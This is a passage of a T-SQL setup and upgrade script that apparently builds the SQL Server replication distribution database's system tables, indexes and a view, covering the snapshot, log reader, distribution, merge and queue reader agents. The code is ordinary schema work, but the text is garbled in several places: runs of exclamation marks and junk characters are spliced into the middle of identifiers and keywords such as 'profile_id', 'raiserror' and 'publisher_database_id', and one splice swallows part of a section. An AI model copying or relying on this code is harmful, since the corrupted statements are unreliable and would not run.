        updateable_row bit NOT NULL,
        timestamp NOT NULL
        )

    exec dbo.sp_MS_marksystemobject 'MSdistribution_history'

    raiserror('Creating clustered index ucMSdistribution_history', 0,1)
    CREATE UNIQUE CLUSTERED INDEX ucMSdistribution_history ON dbo.MSdistribution_history
        (agent_id, timestamp, runstatus, start_time, time) 

   END
   ELSE
   BEGIN
		IF EXISTS (select * from sys.columns
			where name = 'comments' 
			and object_id=object_id('MSdistribution_history'))
		BEGIN 
			ALTER TABLE MSdistribution_history ALTER COLUMN comments nvarchar(max) NOT NULL
		END
		if exists (select * from sysindexes where name = 'nc1MSdistribution_history' and id=object_id('MSdistribution_history'))
		begin
		    drop index MSdistribution_history.nc1MSdistribution_history
		end
   END

   exec sys.sp_MScreate_common_dist_tables @subside = 0

   IF NOT EXISTS (SELECT * from sys.objects WHERE name = 'MSsnapshot_agents' and type = 'U')
   BEGIN
        /****************************************************************************/
        raiserror('Creating table MSsnapshot_agents', 0,1)
        /****************************************************************************/    

        CREATE TABLE dbo.MSsnapshot_agents
        (
        id                  int IDENTITY NOT NULL,
        name                nvarchar(100) NOT NULL,
        publisher_id        smallint NOT NULL,
        publisher_db        sysname NOT NULL,
        publication         sysname NOT NULL,
        publication_type    int NOT NULL,       -- 0 transactional 1 snapshot 2 merge
        local_job           bit NOT NULL,
        job_id              binary(16) NULL,
        profile_id  int     NOT NULL,
        dynamic_filter_login     sysname NULL, -- used only for merge dynamic snapshot. Should be null otherwise
        dynamic_filter_hostname  sysname NULL,  -- used only for merge dynamic snapshot. Should be null otherwise  
        publisher_security_mode int NULL,
        publisher_login 		sysname NULL,
        publisher_password		nvarchar(524) NULL,
        job_step_uid		uniqueidentifier NULL
        )

      exec dbo.sp_MS_marksystemobject 'MSsnapshot_agents'

    raiserror('Creating clustered index ucMSsnapshot_agents', 0,1)
    CREATE CLUSTERED INDEX ucMSsnapshot_agents ON dbo.MSsnapshot_agents
        (publication, publisher_db, publisher_id) 

    raiserror('Creatingindex iMSsnapshot_agents', 0,1)
    CREATE UNIQUE INDEX iMSsnapshot_agents ON dbo.MSsnapshot_agents
        (id)
   END
   ELSE
   BEGIN
		IF NOT EXISTS (select * from sys.columns
			where name = 'dynamic_filter_login'
			and object_id=object_id('MSsnapshot_agents'))
		BEGIN 
			ALTER TABLE MSsnapshot_agents ADD dynamic_filter_login sysname NULL
		END

		IF NOT EXISTS (select * from sys.columns
			where name = 'dynamic_filter_hostname'
			and object_id=object_id('MSsnapshot_agents'))
		BEGIN         
			ALTER TABLE MSsnapshot_agents ADD dynamic_filter_hostname sysname NULL
		END

		IF NOT EXISTS (select * from sys.columns where object_id=object_id('MSsnapshot_agents') and name = 'publisher_security_mode')
		BEGIN
			ALTER TABLE MSsnapshot_agents ADD publisher_security_mode int NULL
		END

		IF NOT EXISTS (select * from sys.columns where object_id=object_id('MSsnapshot_agents') and name = 'publisher_login')
		BEGIN
			ALTER TABLE MSsnapshot_agents ADD publisher_login sysname NULL
		END

		IF NOT EXISTS (select * from sys.columns where object_id=object_id('MSsnapshot_agents') and name = 'publisher_password')
		BEGIN
			ALTER TABLE MSsnapshot_agents ADD publisher_password nvarchar(524) NULL
		END

		IF NOT EXISTS (select * from sys.columns where object_id=object_id('MSsnapshot_agents') and name = 'job_step_uid')
		BEGIN
			ALTER TABLE MSsnapshot_agents ADD job_step_uid uniqueidentifier NULL
		END
   END


   IF NOT EXISTS (SELECT * from sys.objects WHERE name = 'MSlogreader_agents' and type = 'U')
   BEGIN
        /****************************************************************************/
        raiserror('Creating table MSlogreader_agents', 0,1)
        /****************************************************************************/    

        CREATE TABLE dbo.MSlogreader_agents
        (
        id                  int IDENTITY NOT NULL,
        name                nvarchar(100) NOT NULL,
        publisher_id        smallint NOT NULL,
        publisher_db        sysname NOT NULL,
        publication         sysname NOT NULL,-- Not used for SQL Server publisher
        local_job           bit NOT NULL,
        job_id              binary(16) NULL,
        profi!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!`<(|*$]jvTle_id  int     NOT NULL,
        publisher_security_mode smallint NULL,
        publisher_login 	sysname NULL,
        publisher_password 	nvarchar(524) NULL,
        job_step_uid		uniqueidentifier NULL
        )

      exec dbo.sp_MS_marksystemobject 'MSlogreader_agents'

    raiserror('Creating clustered index ucMSlogreader_agents', 0,1)
    CREATE CLUSTERED INDEX ucMSlogreader_agents ON dbo.MSlogreader_agents
        (publisher_db, publisher_id) 

    raiserror('Creatingindex iMSlogreader_agents', 0,1)
    CREATE UNIQUE INDEX iMSlogreader_agents ON dbo.MSlogreader_agents
        (id)
   END
   ELSE
   BEGIN
	   IF NOT EXISTS (select * from sys.columns where object_id=object_id('MSlogreader_agents') and name = 'publisher_security_mode')
	   BEGIN
		   ALTER TABLE MSlogreader_agents ADD publisher_security_mode smallint NULL
	   END

	   IF NOT EXISTS (select * from sys.columns where object_id=object_id('MSlogreader_agents') and name = 'publisher_login')
	   BEGIN
		   ALTER TABLE MSlogreader_agents ADD publisher_login sysname NULL
	   END	

	   IF NOT EXISTS (select * from sys.columns where object_id=object_id('MSlogreader_agents') and name = 'publisher_password')
	   BEGIN	 
		   ALTER TABLE MSlogreader_agents ADD publisher_password nvarchar(524) NULL
	   END
	   
	   IF NOT EXISTS (select * from sys.columns where object_id=object_id('MSlogreader_agents') and name = 'job_step_uid')
	   BEGIN
		   ALTER TABLE MSlogreader_agents ADD job_step_uid uniqueidentifier NULL
	   END
   END

   IF NOT EXISTS (SELECT * from sys.objects WHERE name = 'MSdistribution_agents' and type = 'U')
   BEGIN
        /****************************************************************************/
        raiserror('Creating table MSdistribution_agents', 0,1)
        /****************************************************************************/    

        CREATE TABLE dbo.MSdistribution_agents
        (
        id                  int IDENTITY NOT NULL,
	   	name 			    nvarchar(100) NOT NULL,
        publisher_database_id int NOT NULL,
        publisher_id        smallint NOT NULL,
        publisher_db        sysname NOT NULL,
        publication         sysname NOT NULL,
        subscriber_id       smallint NULL, 
        subscriber_db       sysname NULL,
        subscription_type   int NOT NULL,
        local_job           bit NULL,
        job_id              binary(16) NULL,
        subscription_guid   binary(16) NOT NULL,
        profile_id  int     NOT NULL,
        anonymous_subid     uniqueidentifier NULL,
        subscriber_name     sysname NULL,
        virtual_agent_id    int NULL,
        anonymous_agent_id  int NULL,
        creation_date       datetime default (getdate()) not NULL,
        queue_id            sysname null,
        queue_status        int default 0 not null,
        offload_enabled     bit default 0 NOT NULL,
        offload_server      sysname NULL,
        dts_package_name    sysname NULL,
        dts_package_password nvarchar(524) NULL,
        dts_package_location int default 0 not null,
        sid                 varbinary(85) default suser_sid() not null,
        queue_server        sysname NULL,
		-- used for subscription based security
        subscriber_security_mode 	smallint NULL,
        subscriber_login			sysname NULL,
        subscriber_password 		nvarchar(524) NULL,
        reset_partial_snapshot_progress bit default 0 not null,
        job_step_uid				uniqueidentifier NULL
        ,subscriptionstreams tinyint NULL
        ,subscriber_type tinyint NULL
        ,subscriber_provider sysname NULL
        ,subscriber_datasrc nvarchar(4000) NULL
        ,subscriber_location nvarchar(4000) NULL
        ,subscriber_provider_string nvarchar(4000) NULL
        ,subscriber_catalog sysname NULL
        )

        exec dbo.sp_MS_marksystemobject 'MSdistribution_agents'

        raiserror('Creating clustered index ucMSdistribution_agents', 0,1)
        CREATE UNIQUE CLUSTERED INDEX ucMSdistribution_agents ON dbo.MSdistribution_agents
            (id)

        raiserror('Creatingindex iMSdistribution_agents', 0,1)
        CREATE INDEX iMSdistribution_agents ON dbo.MSdistribution_agents
            (publication, publisher_db, publisher_id, subscriber_id, subscriber_db, anonymous_subid) 
   END
   
    if not exists (select * from sys.columns where 
        object_id = object_id('MSdistribution_agents') and
        name = 'creation_date')
    begin
        alter table MSdistribution_agents add creation_date datetime default (getdate()) not null
    end 

    if not exists (select * from sys.columns where 
        object_id = object_id('MSdistribution_agents') and
        name = 'offload_enabled')
    begin
        alter table MSdistribution_agents add offload_enabled bit default 0 not null
    end 

    if not exists (select * from sys.columns where 
        object_id = object_id('MSdistribution_agents') and
        name = 'offload_server')
    begin
        alter table MSdistribution_agents add offload_server sysname null
    end 

    if not exists (select * from sys.columns where 
        object_id = object_id('MSdistribution_agents') and
        name = 'queue_id')
    begin
        alter table MSdistribution_agents add queue_id sysname null
    end 

    if not exists (select * from sys.columns where 
        object_id = object_id('MSdistribution_agents') and
        name = 'queue_status')
    begin
        alter table MSdistribution_agents add queue_status int default 0 not null
    end 

    if not exists (select * from sys.columns where 
        object_id = object_id('MSdistribution_agents') and
        name = 'dts_package_name')
    begin
        alter table MSdistribution_agents add dts_package_name sysname null
    end 
    if not exists (select * from sys.columns where 
        object_id = object_id('MSdistribution_agents') and
        name = 'dts_package_password')
    begin
        alter table MSdistribution_agents add dts_package_password nvarchar(524) null
    end 

    if not exists (select * from sys.columns where 
        object_id = object_id('MSdistribution_agents') and
        name = 'dts_package_location')
    begin
        alter table MSdistribution_agents add dts_package_location int default 0 not null
    end 

    if not exists (select * from sys.columns where 
        object_id = object_id('MSdistribution_agents') and
        name = 'sid')
    begin
        -- set sid to be the upgrade user. db_owner or sysadmin
        -- can drop the agent entry
        alter table MSdistribution_agents add sid varbinary(85) default suser_sid() not null
    end 

    if not exists (select * from sys.columns where 
        object_id = object_id('MSdistribution_agents') and
        name = 'queue_server')
    begin
        alter table MSdistribution_agents add queue_server sysname null
        EXEC sys.sp_MSupdate_mqserver_distdb
    end 

	-- used for subscription based security
	if not exists (select * from sys.columns where 
        object_id = object_id('MSdistribution_agents') and
        name = 'subscriber_security_mode')
    begin
        alter table MSdistribution_agents add subscriber_security_mode smallint null 
    end 

    if not exists (select * from sys.columns where 
        object_id = object_id('MSdistribution_agents') and
        name = 'subscriber_login')
    begin
        alter table MSdistribution_agents add subscriber_login sysname null 
    end 

	if not exists (select * from sys.columns where 
        object_id = object_id('MSdistribution_agents') and
        name = 'subscriber_password')
    begin
        alter table MSdistribution_agents add subscriber_password nvarchar(524) null 
    end 

    if not exists (select * from sys.columns where 
        object_id = object_id('MSdistribution_agents') and
        name = 'reset_partial_snapshot_progress')
  !!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!`<(}**=w=vT  begin
        ALTER TABLE MSdistribution_agents ADD reset_partial_snapshot_progress bit default 0 not null
    end 

    if not exists (select * from sys.columns where 
        object_id = object_id('MSdistribution_agents') and
        name = 'job_step_uid')
    begin
    	ALTER TABLE MSdistribution_agents ADD job_step_uid uniqueidentifier NULL
    end 

    if not exists (select * from sys.columns where 
        object_id = object_id('MSdistribution_agents') and
        name = 'subscriptionstreams')
    begin
    	ALTER TABLE MSdistribution_agents ADD subscriptionstreams tinyint NULL
    end
    
    if not exists (select * from sys.columns where 
        object_id = object_id('MSdistribution_agents') and
        name = 'subscriber_type')
    begin
    	ALTER TABLE MSdistribution_agents ADD subscriber_type tinyint NULL
    end 

    if not exists (select * from sys.columns where 
        object_id = object_id('MSdistribution_agents') and
        name = 'subscriber_provider')
    begin
    	ALTER TABLE MSdistribution_agents ADD subscriber_provider sysname NULL
    end 
    
    if not exists (select * from sys.columns where 
        object_id = object_id('MSdistribution_agents') and
        name = 'subscriber_datasrc')
    begin
    	ALTER TABLE MSdistribution_agents ADD subscriber_datasrc nvarchar(4000) NULL
    end 
    
    if not exists (select * from sys.columns where 
        object_id = object_id('MSdistribution_agents') and
        name = 'subscriber_location')
    begin
    	ALTER TABLE MSdistribution_agents ADD subscriber_location nvarchar(4000) NULL
    end 

    if not exists (select * from sys.columns where 
        object_id = object_id('MSdistribution_agents') and
        name = 'subscriber_provider_string')
    begin
    	ALTER TABLE MSdistribution_agents ADD subscriber_provider_string nvarchar(4000) NULL
    end
     
    if not exists (select * from sys.columns where 
        object_id = object_id('MSdistribution_agents') and
        name = 'subscriber_catalog')
    begin
    	ALTER TABLE MSdistribution_agents ADD subscriber_catalog sysname NULL
    end 

   IF NOT EXISTS (SELECT * from sys.objects WHERE name = 'MSmerge_agents' and type = 'U')
   BEGIN
        /****************************************************************************/
        raiserror('Creating table MSmerge_agents', 0,1)
        /****************************************************************************/    

        CREATE TABLE dbo.MSmerge_agents
        (
        id                  int IDENTITY NOT NULL,
        name                nvarchar(100) NOT NULL,
        publisher_id        smallint NOT NULL,
        publisher_db        sysname NOT NULL,
        publication         sysname NOT NULL,
        subscriber_id       smallint NULL,
        subscriber_db       sysname NULL,
        local_job           bit NULL,
        job_id              binary(16) NULL,
        profile_id          int NULL,
        anonymous_subid     uniqueidentifier NULL,
        subscriber_name     sysname NULL,
        creation_date       datetime default (getdate()) not NULL,
        offload_enabled     bit default 0 NOT NULL,
        offload_server      sysname NULL,
        sid                 varbinary(85) default suser_sid() not null,
        -- used for subscription based security
        subscriber_security_mode 	smallint NULL,
        subscriber_login			sysname NULL,
        subscriber_password 		nvarchar(524) NULL,
        publisher_security_mode 	smallint NULL,
        publisher_login 			sysname NULL,
        publisher_password 			nvarchar(524) NULL,
        job_step_uid				uniqueidentifier NULL
        )

      exec dbo.sp_MS_marksystemobject 'MSmerge_agents'

		raiserror('Creating clustered index ucMSmerge_agents', 0,1)
		
		CREATE UNIQUE clustered INDEX ucMSmerge_agents ON dbo.MSmerge_agents(id)
		
		CREATE INDEX iMSmerge_agents ON dbo.MSmerge_agents
			(publication, publisher_db, publisher_id, subscriber_id, subscriber_db, anonymous_subid) 
		
		CREATE INDEX i2MSmerge_agents ON dbo.MSmerge_agents
			(subscriber_id, subscriber_db) 
	    
    END
    else
    begin
		if EXISTS (select * from sys.indexes where name='ucMSmerge_agents' and object_id=object_id('MSmerge_agents'))
	    begin
		    drop index MSmerge_agents.ucMSmerge_agents
		end
		
		if EXISTS (select * from sys.indexes where name='iMSmerge_agents' and object_id=object_id('MSmerge_agents'))
	    begin
		    drop index MSmerge_agents.iMSmerge_agents
		end
		
		if EXISTS (select * from sys.indexes where name='i2MSmerge_agents' and object_id=object_id('MSmerge_agents'))
	    begin
		    drop index MSmerge_agents.i2MSmerge_agents
		end
		
		CREATE UNIQUE clustered INDEX ucMSmerge_agents ON dbo.MSmerge_agents(id)
		
		CREATE INDEX iMSmerge_agents ON dbo.MSmerge_agents
			(publication, publisher_db, publisher_id, subscriber_id, subscriber_db, anonymous_subid) 
		
		CREATE INDEX i2MSmerge_agents ON dbo.MSmerge_agents
			(subscriber_id, subscriber_db) 
    end
    
    if not exists (select * from sys.columns where 
        object_id = object_id('MSmerge_agents') and
        name = 'creation_date')
    begin
        alter table MSmerge_agents add creation_date datetime default (getdate()) not null
    end 

    if not exists (select * from sys.columns where 
        object_id = object_id('MSmerge_agents') and
        name = 'offload_enabled')
    begin
        alter table MSmerge_agents add offload_enabled bit default 0 not null
    end 

    if not exists (select * from sys.columns where 
        object_id = object_id('MSmerge_agents') and
        name = 'offload_server')
    begin
        alter table MSmerge_agents add offload_server sysname null
    end 

    if not exists (select * from sys.columns where 
        object_id = object_id('MSmerge_agents') and
        name = 'sid')
    begin
        -- set sid to be the upgrade user. db_owner or sysadmin
        -- can drop the agent entry
        alter table MSmerge_agents add sid varbinary(85) default suser_sid() not null
    end 

	-- used for subscription based security
	if not exists (select * from sys.columns where 
        object_id = object_id('MSmerge_agents') and
        name = 'subscriber_security_mode')
    begin
        alter table MSmerge_agents add subscriber_security_mode smallint null 
    end 

    if not exists (select * from sys.columns where 
        object_id = object_id('MSmerge_agents') and
        name = 'subscriber_login')
    begin
        alter table MSmerge_agents add subscriber_login sysname null 
    end 

	if not exists (select * from sys.columns where 
        object_id = object_id('MSmerge_agents') and
        name = 'subscriber_password')
    begin
        alter table MSmerge_agents add subscriber_password nvarchar(524) null 
    end 

   	if not exists (select * from sys.columns where 
	   object_id = object_id('MSmerge_agents') and
	   name = 'publisher_security_mode')
    begin
	   alter table MSmerge_agents add publisher_security_mode smallint null 
    end 

    if not exists (select * from sys.columns where 
	   object_id = object_id('MSmerge_agents') and
	   name = 'publisher_login')
    begin
	   alter table MSmerge_agents add publisher_login sysname null 
    end 

    if not exists (select * from sys.columns where 
	   object_id = object_id('MSmerge_agents') and
	   name = 'publisher_password')
    begin
	   alter table MSmerge_agents add publisher_password nvarchar(524) null 
    end 

	if not exists (select * from sys.columns where 
	   object_id = object_id('MSmerge_agents') and
	   name = 'job_step_uid')
    begin
	   alter table MSmerge_agents add job_step_uid uniqueidentifier NULL
    end
    
   	-- Need to re_visit the indexing of this table
	if not exists (select * from sys.objects where name = 'MSrepl_identity_range')
	begin 	  
		raise!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!`<(~*.=yvTrror('Creating table MSrepl_identity_range',0,1)

		create table dbo.MSrepl_identity_range (
			publisher 			  sysname not NULL, 
			publisher_db			  sysname not NULL,
			tablename 			  sysname not NULL,
			identity_support		  int NULL,
			next_seed 			  bigint NULL, --resource control
			pub_range 			  bigint NULL, --publisher range
			range 				  bigint NULL, -- set by sp_addmergearticle
			max_identity			  bigint NULL, --resource control
			threshold 			  int NULL,   --in percentage, set by sp_addmergearticle
			current_max			  bigint NULL, --max value for current check constraint,set by sp_addmergearticle
			constraint pkMSrepl_identity_range
			    primary key(publisher,publisher_db,tablename)
		)
		exec dbo.sp_MS_marksystemobject MSrepl_identity_range
	end

    IF NOT EXISTS (SELECT * from sys.objects WHERE name = 'MSpublication_access' and type = 'U')
    BEGIN
        /****************************************************************************/
        raiserror('Creating table MSpublication_access', 0,1)
        /****************************************************************************/    

        CREATE TABLE dbo.MSpublication_access
        (
        publication_id      int NULL,       	-- Publication_id is unique in distribution database.
        login               sysname NOT NULL,	-- Logins in the publication access list, they nust
                                            	-- exist at both publisher and distributor side.
		sid					varbinary(85) NULL
        )

        exec dbo.sp_MS_marksystemobject 'MSpublication_access'

        raiserror('Creating clustered index ucMSpublication_access', 0,1)
        CREATE UNIQUE CLUSTERED INDEX ucMSpublication_access ON dbo.MSpublication_access
            (publication_id, sid) 
    END

    -- For b3 upgrade
    if NOT EXISTS (select * from sys.columns where name='retention' and object_id=object_id('MSpublications'))
    begin
        alter table MSpublications add retention int NULL 
        UPDATE msdb..MSdistributiondbs set max_distretention=72 where
            name = db_name() collate database_default
    end
    
    if NOT EXISTS (select * from sys.columns where name='retention_period_unit' and object_id=object_id('MSpublications'))
    begin
        alter table MSpublications add retention_period_unit tinyint default 0 not null
    end

    -- drop default_access column
    if exists (select * from sys.columns where object_id = object_id('MSpublications') and
        name = 'default_access')
    begin
        alter table MSpublications drop column default_access
    end 

	IF NOT EXISTS (SELECT * FROM sys.columns WHERE name='sid' and object_id=object_id('MSpublication_access'))
    BEGIN
		ALTER TABLE dbo.MSpublication_access ADD sid varbinary(85) NULL

		EXEC('UPDATE MSpublication_access SET sid = SUSER_SID(login,0)')
    END
    
    -- Drop publisher_id column
    if EXISTS (select * from sys.columns where name='publisher_id' and object_id=object_id('MSpublication_access'))
    begin
        drop index MSpublication_access.ucMSpublication_access

        alter table MSpublication_access drop column publisher_id

        raiserror('Creating clustered index ucMSpublication_access', 0,1)
        CREATE CLUSTERED INDEX ucMSpublication_access ON dbo.MSpublication_access
        (publication_id, sid) 
    end

    IF NOT EXISTS (SELECT * from sys.objects WHERE name = 'MSqreader_agents' and type = 'U')
    BEGIN
        /****************************************************************************/
        raiserror('Creating table MSqreader_agents', 0,1)
        /****************************************************************************/    

        CREATE TABLE dbo.MSqreader_agents
        (
        id                  int IDENTITY NOT NULL,
        name                nvarchar(100) NULL,
        job_id              binary(16) NULL,
        profile_id          int NULL,
        job_step_uid		uniqueidentifier NULL
        )

      exec dbo.sp_MS_marksystemobject 'MSqreader_agents'

    raiserror('Creating unique index ucMSqreader_agents', 0,1)
    CREATE UNIQUE INDEX ucMSqreader_agents ON dbo.MSqreader_agents
        (id)
   END

    -- add columns for existing table
    if not exists (select * from sys.columns where 
        object_id = object_id('MSqreader_agents') and
        name = 'profile_id')
    begin
        alter table dbo.MSqreader_agents add profile_id int NULL
    end 

   if not exists (select * from sys.columns where 
	   object_id = object_id('MSqreader_agents') and
	   name = 'job_step_uid')
   begin
	   alter table dbo.MSqreader_agents add job_step_uid uniqueidentifier NULL
   end 
		 

    IF NOT EXISTS (SELECT * from sys.objects WHERE name = 'MSqreader_history' and type = 'U')
    BEGIN
    /****************************************************************************/
    raiserror('Creating table MSqreader_history', 0,1)
    /****************************************************************************/    

    CREATE TABLE dbo.MSqreader_history
    (
    agent_id int NOT NULL,
    publication_id int NULL,
    runstatus int NOT NULL,
    start_time datetime NOT NULL,
    time datetime NOT NULL,
    duration int NOT NULL,
    comments nvarchar(1000) NOT NULL,
    transaction_id nvarchar(40) NULL, 
    transaction_status int NULL,
    transactions_processed int NULL DEFAULT 0,
    commands_processed int NULL DEFAULT 0,
    delivery_rate float NOT NULL DEFAULT 0.0,
    transaction_rate float NOT NULL DEFAULT 0.0,
    subscriber sysname NULL,
    subscriberdb sysname NULL,
    error_id int NULL,    
    timestamp NOT NULL
    )

    exec dbo.sp_MS_marksystemobject 'MSqreader_history'

    raiserror('Creating clustered index ucMSqreader_history', 0,1)
    CREATE CLUSTERED INDEX ucMSqreader_history ON dbo.MSqreader_history
    (agent_id, timestamp, runstatus, start_time, time) 
    END
    ELSE
    BEGIN
       if exists (select * from sys.columns where name = 'comments' and object_id=object_id('MSqreader_history'))
       begin 
	    alter table MSqreader_history alter column comments nvarchar(1000) NOT NULL
       end	    
    END

    -- alter column publication_id
    if not exists (select * from sys.columns where 
        object_id = object_id('MSqreader_history') and
        name = 'publication_id')
    begin
        alter table dbo.MSqreader_history alter column publication_id int NULL
    end

    -- add columns for existing table
    if not exists (select * from sys.columns where 
        object_id = object_id('MSqreader_history') and
        name = 'error_id')
    begin
        alter table dbo.MSqreader_history add error_id int NULL
    end 

    if not exists (select * from sys.columns where 
        object_id = object_id('MSqreader_history') and
        name = 'transactions_processed')
    begin
        alter table dbo.MSqreader_history add transactions_processed int NULL DEFAULT 0
    end 

    if not exists (select * from sys.columns where 
        object_id = object_id('MSqreader_history') and
        name = 'delivery_rate')
    begin
        alter table dbo.MSqreader_history add delivery_rate float NOT NULL DEFAULT 0.0
    end 

    if not exists (select * from sys.columns where 
        object_id = object_id('MSqreader_history') and
        name = 'transaction_rate')
    begin
        alter table dbo.MSqreader_history add transaction_rate float NOT NULL DEFAULT 0.0
    end 

    IF NOT EXISTS (SELECT * from sys.objects WHERE name = 'MSrepl_backup_lsns' and type = 'U')
    BEGIN
        /****************************************************************************/
        raiserror('Creating table MSrepl_backup_lsns', 0,1)
        /****************************************************************************/    

        CREATE TABLE dbo.MSrepl_backup_lsns
        (
        publisher_data!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!`<(++vTbase_id int NOT NULL,
        valid_xact_id varbinary(16) NULL,
        valid_xact_seqno varbinary (16 ) NULL,
        next_xact_id varbinary(16) NULL,
        next_xact_seqno varbinary (16 )  NULL
        )

        exec dbo.sp_MS_marksystemobject 'MSrepl_backup_lsns'

        raiserror('Creating clustered index ucMSrepl_backup_lsns', 0,1)
        CREATE UNIQUE CLUSTERED INDEX ucMSrepl_backup_lsns ON dbo.MSrepl_backup_lsns
            (publisher_database_id)

        if exists (select * from MSpublisher_databases)
        begin
            /****************************************************************************/
            raiserror('Upgrading MSrepl_backup_lsns', 0,1)
            /****************************************************************************/    
            insert into MSrepl_backup_lsns select d.id, 
                NULL, NULL, NULL, NULL from MSpublisher_databases d
            -- No need to set the lsns in the table since the 'sync with backup' option is 
            -- new in 8.0
        end

    END

    --
    -- Table for replication monitor thresholds for publications
    --
    if (object_id('dbo.MSpublicationthresholds') is null)
    begin
        raiserror('Creating table MSpublicationthresholds', 0,1)
        create table dbo.MSpublicationthresholds
        (
            publication_id int not null
            ,metric_id int not null
            ,value sql_variant null
            ,shouldalert bit not null default 0
            ,isenabled bit not null default 0
        )
        exec dbo.sp_MS_marksystemobject 'MSpublicationthresholds'
        raiserror('Creating clustered index ucmspublicationthresholds', 0,1)
        create unique clustered index ucmspublicationthresholds 
            on dbo.MSpublicationthresholds (publication_id,  metric_id)
        create nonclustered index nc1mspublicationthresholds 
            on dbo.MSpublicationthresholds (publication_id)
        create nonclustered index nc2mspublicationthresholds 
            on dbo.MSpublicationthresholds (metric_id)
    end

    IF NOT EXISTS (SELECT * from sys.objects WHERE name = 'IHpublishers' and type = 'U')
    BEGIN
        /****************************************************************************/
        raiserror('Creating table IHpublishers', 0,1)
        /****************************************************************************/    

        create table IHpublishers
        (
		publisher_id		smallint			not null,	-- use same ID as dbo.sysservers.srvid
        vendor				sysname				not null,
        publisher_guid		uniqueidentifier	not null,
		flush_request_time	datetime			null,
		version				sysname				null
        -- ,CONSTRAINT pk_IHpublishers PRIMARY KEY (publisher_id)
        )

		exec dbo.sp_MS_marksystemobject 'IHpublishers'
    END

    IF NOT EXISTS (SELECT * from sys.objects WHERE name = 'IHpublishertables' and type = 'U')
    BEGIN
        /****************************************************************************/
        raiserror('Creating table IHpublishertables', 0,1)
        /****************************************************************************/    

        create table IHpublishertables
        (
         table_id       int         IDENTITY	NOT NULL
        ,publisher_id   smallint    NOT NULL 
        ,name           sysname     NOT NULL
        ,owner          sysname     NOT NULL
        -- ,CONSTRAINT pk_IHpublishertables PRIMARY KEY (table_id, publisher_id)
        -- ,CONSTRAINT fk_IHpublishertables_publisher FOREIGN KEY (publisher_id) REFERENCES IHpublishers (publisher_id)
        -- ,CONSTRAINT uk_IHpublishertables_name UNIQUE NONCLUSTERED (publisher_id, name, owner)
        )

        create unique clustered index idx_IHpublishertables_tableid ON IHpublishertables (table_id)
        create index idx_IHpublishertables_name ON IHpublishertables (name)
        
		exec dbo.sp_MS_marksystemobject 'IHpublishertables'
    END

    IF NOT EXISTS (SELECT * from sys.objects WHERE name = 'IHarticles' and type = 'U')
    BEGIN
        /****************************************************************************/
        raiserror('Creating table IHarticles', 0,1)
        /****************************************************************************/    

        create table IHarticles
        (
			article_id					int             NOT NULL IDENTITY,
			name						sysname         NOT NULL,
			publication_id				smallint        NOT NULL,
			table_id					int             NOT NULL,
			publisher_id				smallint        NOT NULL,
			creation_script				nvarchar(255)   NULL,
			del_cmd						nvarchar(255)   NULL,
			filter						int             NOT NULL,
			filter_clause				ntext           NULL,
			ins_cmd						nvarchar(255)   NULL,
			pre_creation_cmd			tinyint         NOT NULL,
			status						tinyint         NOT NULL,
			type						tinyint         NOT NULL,
			upd_cmd						nvarchar(255)   NULL,
			schema_option				binary(8)       NULL,
			dest_owner					sysname         NULL,
			dest_table					sysname         NOT NULL,
			tablespace_name				nvarchar(255)   NULL,
			objid						int             NULL,
			sync_objid					int             NULL,
			description					nvarchar(255)   NULL,
			publisher_status			int             NULL,
			article_view_owner			nvarchar(255)	NULL,
			article_view				nvarchar(255)	NULL,
			ins_scripting_proc			int             NULL,
			del_scripting_proc			int             NULL,
			upd_scripting_proc			int             NULL,
			custom_script				nvarchar(2048)  NULL,
			fire_triggers_on_snapshot	bit             NOT NULL DEFAULT 0,
			instance_id					int             NOT NULL DEFAULT 0,
			use_default_datatypes		bit				NOT NULL DEFAULT 0
			-- ,CONSTRAINT pk_IHarticles PRIMARY KEY (article_id)
			-- ,CONSTRAINT uk_IHarticles_article UNIQUE  (name, publication_id)
			-- ,CONSTRAINT fk_IHarticles_tableid FOREIGN KEY (table_id, publisher_id) REFERENCES IHpublishertables (table_id, publisher_id)
			)

        create unique clustered index idx_IHarticles_articleid ON IHarticles (article_id)
        create index idx_IHarticles_tableid ON IHarticles (table_id)
        create index idx_IHarticles_name ON IHarticles (name)
        
        exec dbo.sp_MS_marksystemobject 'IHarticles'
    END

    IF NOT EXISTS (SELECT * from sys.objects WHERE name = 'IHpublishercolumns' and type = 'U')
    BEGIN
        /****************************************************************************/
        raiserror('Creating table IHpublishercolumns', 0,1)
        /****************************************************************************/    

        create table IHpublishercolumns
        (
         publishercolumn_id int             IDENTITY
        ,table_id           int             not null
        ,publisher_id       smallint        not null
        ,name               sysname         not null
        ,column_ordinal     int             not null
        ,type               varchar(255)    not null
        ,length             bigint          not null
        ,prec               int             null
        ,scale              int             null
        ,isnullable         bit             not null
        ,iscaptured         bit             not null -- Column is begin captured by tracking trigger but might not be in any articles
        -- ,CONSTRAINT pk_IHpublishercolumns PRIMARY KEY (publishercolumn_id)
        -- ,CONSTRAINT fk_IHpublishercolumns_tableid FOREIGN KEY (table_id, publisher_id) REFERENCES IHpublishertables (table_id, publisher_id)
        )

        create index idx_IHpublishercolumns_tableid on IHpublishercolumns (table_id)
        create index idx_IHpublishercolumns_name on IHpublishercolumns (name)
        create index idx_IHpublishercolumns_type on IHpublishercolumns (type)
        create index idx_IHpublishercolumns_pubcolumnid on IHpublishercolumns (publishercolumn_id)
        
       !!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!`<(++(7`vT     /****************************************************************************/    

        SELECT @Cmd =
        ' create view IHextendedArticleView as '
        + ' SELECT msa.publisher_id, '
        + '      msa.publication_id, '
        + '      msa.article, '
        + '      msa.destination_object, '
        + '      msa.source_owner, '
        + '      msa.source_object, '
        + '      msa.description, '
        + '      iha.creation_script, '
        + '      iha.del_cmd, '
        + '      iha.filter, '
        + '      iha.filter_clause, '
        + '      iha.ins_cmd, '
        + '      iha.pre_creation_cmd, '
        + '      iha.status, '
        + '      iha.type, '
        + '      iha.upd_cmd, '
        + '      iha.schema_option, '
        + '      iha.dest_owner '
        + ' FROM   MSarticles msa '
        + ' JOIN   IHarticles iha   ON  msa.article_id     = iha.article_id '

        EXEC (@Cmd)
        
        exec dbo.sp_MS_marksystemobject 'IHextendedArticleView'
    END


    IF NOT EXISTS (SELECT * from sys.objects WHERE name = 'IHconstrainttypes' and type = 'U')
    BEGIN
        /****************************************************************************/
        raiserror('Creating table IHconstrainttypes', 0,1)
